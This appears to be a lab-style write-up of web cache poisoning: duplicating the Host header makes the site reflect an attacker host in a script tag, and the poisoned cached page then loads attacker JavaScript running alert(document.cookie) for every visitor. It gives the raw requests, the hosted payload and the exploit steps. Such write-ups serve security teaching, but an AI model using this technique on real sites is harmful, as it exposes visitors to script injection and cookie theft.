Web cache poisoning via ambiguous HTTP request

 - 3 min read

Situation

We are presented with a standard web application. What we want to achieve is to poison the cache in order to send back pages executing alert(document.cookie) on victims’ browsers.

Recon

We fire up Burp Suite, set up our proxy, then explore the site for a bit in order to collect some info. The request to the main page looks like this:

GET / HTTP/1.1
Host: target-host.com
...
Cache-Control: max-age=0

We notice in the response that it’s loading a JavaScript resource from target-host.com/resources/js/tracking.js. Here’s what the response looks like:

HTTP/1.1 200 OK
...

<!DOCTYPE html>
<html>
    ...
    <script
        type="text/javascript"
        src="//target-host.com/resources/js/tracking.js">    </script>
    ...
</html>

Let’s try to edit the Host header in our request. We’ll see if the response reflects our change, which would be a great entry-point for our exploit:

GET / HTTP/1.1
Host: malicious-host.com...
Cache-Control: max-age=0

Unfortunately, this doesn’t work out as expected. We get back a 504 HTTP error that looks like this:

HTTP/1.1 504 Gateway Timeout...

<html>
    <head>
        <title>Server Error: Gateway Timeout</title>    </head>
    ...
</html>

Now let’s try creating an ambiguous request by duplicating the Host header in our request. Here’s what it looks like:

GET / HTTP/1.1
Host: target-host.com
Host: malicious-host.com...
Cache-Control: max-age=0

And there we go! We see our Host header reflected in the response:

HTTP/1.1 200 OK
...

<!DOCTYPE html>
<html>
    ...
    <script
        type="text/javascript"
        src="//malicious-host.com/resources/js/tracking.js">    </script>
    ...
</html>

Strategy

Now that we’re able to trick the target into loading a resource from an arbitrary server, let’s craft a quick HTTP endpoint on a server we control.

# Our endpoint
https://malicious-server.com/resources/js/tracking.js
# The payload
HTTP/1.1 200 OK
...
alert(document.cookie);

Next we try to effectively load that resource into the target page. To do that, we just go to https://target-host.com, we intercept the request and add our duplicate header Host: malicious-host.com after the legitimate header.

We can then see our alert(document.cookie) execute in our browser.

While this is good, it’s not enough to exploit an arbitrary user on that page. We need the target host to load our resources without manipulating the Host header. How do we do that? With cache poisoning.

Exploit

Now that we have all the pieces, our exploit is pretty much set-up. It works in 2 steps:

  1. Go to https://target.host.com

    1. Intercept the HTTP GET / request in Burp
    2. Add the duplicate header Host: malicious-host.com
    3. Forward the request
    4. We’ll see the alert(document.cookie) executing
  2. Now the target host will cache that response

    1. To check that, we just go to https://target-host without manipulating the Host header
    2. We can see that it still loads our script from https://malicious-host.com/resources/js/tracking.js